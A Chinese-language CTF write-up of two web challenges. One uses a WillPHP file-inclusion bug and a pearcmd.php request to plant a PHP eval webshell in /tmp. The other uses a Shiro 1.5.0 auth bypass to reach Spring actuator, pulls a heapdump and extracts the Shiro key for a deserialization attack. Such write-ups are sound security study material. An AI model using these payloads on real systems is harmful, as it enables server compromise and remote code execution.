打开页面发现是个WillPHP,而且应该就是assign的模板渲染了,而且根据这个东西和tp有点关联,联想到tp的那个assign实现的文件包含。去下载源码跟一下,发现是在这里出现了任意文件包含
public static function renderTo($viewfile, $vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
if (basename($viewfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
echo "123";
$strs = self::compile(file_get_contents($viewfile), $vars);
var_dump($cfile);
file_put_contents($cfile, $strs);
}
extract($vars);
include $cfile;
但是找不到flag,发现pearcmd.php包含可以利用,直接打就可以了:
GET /?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ HTTP/1.1
就把马写在了/tmp/.feng.php
,再包含之即可:
pom.xml里面有个shiro 1.5.0。
打开网站发现没什么东西,扫了一下(bushi)扫到了actuator
,但是很明显需要shiro得鉴权绕过:
/;/actuator/env
找到了这篇文章:https://www.cnblogs.com/icez/p/Actuator_heapdump_exploit.html
利用heapdump找到shiro的key来实现反序列化攻击。通过访问/;/actuator/heapdump
下载下来,然后找key。
但是文章里的那个工具我本地用不了。。。我用了jdk自带的:
D:\environment\jdk8u302-b08\bin>jhat.exe C:\Users\15997\Desktop\heapdump
Reading from C:\Users\15997\Desktop\heapdump...

经过一番寻找找到了key:
转换一下:
import base64
s= "0xa1, 0x58, 0xba, 0xdd, 0xa3, 0x90, 0xf8, 0x09, 0x2b, 0x92, 0x5e, 0xe4, 0x04, 0x8a, 0x42, 0x34"
print(s.replace(", ","").replace("0x",r"\x"))
ss=b'\xa1\x58\xba\xdd\xa3\x90\xf8\x09\x2b\x92\x5e\xe4\x04\x8a\x42\x34'
print(base64.b64encode(ss))
#b'oVi63aOQ+Akrkl7kBIpCNA=='
然后工具直接梭:
